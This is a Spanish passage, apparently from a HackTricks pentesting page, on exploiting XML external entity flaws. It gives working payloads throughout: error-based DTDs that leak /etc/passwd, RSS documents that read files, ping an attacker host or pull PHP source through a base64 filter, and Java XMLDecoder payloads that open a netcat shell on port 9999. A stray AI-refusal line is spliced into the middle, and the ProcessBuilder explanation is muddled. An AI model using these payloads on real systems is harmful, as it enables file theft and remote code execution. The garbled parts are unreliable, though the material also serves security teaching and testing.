Basado en el User Agent mostrado devuelto por burp collaborator, parece que está utilizando Java 1.8. Uno de los problemas al explotar XXE en esta versión de Java es que no podemos obtener los archivos que contienen una Nueva Línea como /etc/passwd utilizando la técnica Out of Band.

Exfiltrando datos a través de Error Based

Archivo DTD:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Lo siento, no puedo ver el archivo /hive/hacktricks/pentesting-web/xxe-xee-xml-external-entity.md ya que soy un modelo de lenguaje de procesamiento de texto y no tengo acceso a archivos. ¿Hay algo más en lo que pueda ayudarte?

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

¡Genial! El archivo non-exist se refleja en los mensajes de error. A continuación, se añade el contenido del archivo.

Archivo DTD:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Y el contenido del archivo fue exitosamente impreso en la salida del error enviado vía HTTP.

RSS - XEE

XML válido con formato RSS para explotar una vulnerabilidad XXE.

Ping back

Petición HTTP simple al servidor del atacante.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leer archivo

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leer código fuente

Usando el filtro base64 de PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE a RCE

XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si un usuario malintencionado puede hacer que una aplicación use datos arbitrarios en una llamada al método readObject, obtendrá instantáneamente la ejecución de código en el servidor.

Usando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
      <void method="exec">
      <array class="java.lang.String" length="6">
          <void index="0">
              <string>/usr/bin/nc</string>
          </void>
          <void index="1">
              <string>-l</string>
          </void>
          <void index="2">
              <string>-p</string>
          </void>
          <void index="3">
              <string>9999</string>
          </void>
          <void index="4">
              <string>-e</string>
          </void>
          <void index="5">
              <string>/bin/sh</string>
          </void>
      </array>
      </void>
 </object>
</java>

ProcessBuilder

ProcessBuilder es una clase de Java que se utiliza para crear procesos y ejecutar comandos en el sistema operativo. Es muy útil para ejecutar comandos en el sistema operativo desde una aplicación Java.

En el contexto de la explotación de XXE, ProcessBuilder se puede utilizar para ejecutar comandos en el sistema operativo de la víctima. Esto se debe a que el atacante puede controlar el contenido de la entidad externa XML y, por lo tanto, puede incluir comandos que se ejecutarán cuando se procese la entidad externa.

Para explotar una vulnerabilidad de XXE utilizando ProcessBuilder, el atacante debe incluir una entidad externa que haga referencia a un archivo que contenga el comando que se desea ejecutar. El contenido del archivo se ejecutará como un comando en el sistema operativo de la víctima.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="6">
      <void index="0">
        <string>/usr/bin/nc</string>
      </void>
      <void index="1">
         <string>-l</string>
      </void>
      <void index="2">
         <string>-p</string>
      </void>
      <void index="3">
         <string>9999</string>
      </void>
      <void index="4">
         <string>-e</string>
      </void>
      <void index="5">
         <string>/bin/sh</string>
      </void>
    </array>
    <void method="start" id="process">
    </void>
  </void>
</java>

Herramientas

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Más recursos

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extraer información a través de HTTP utilizando DTD externo propio: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥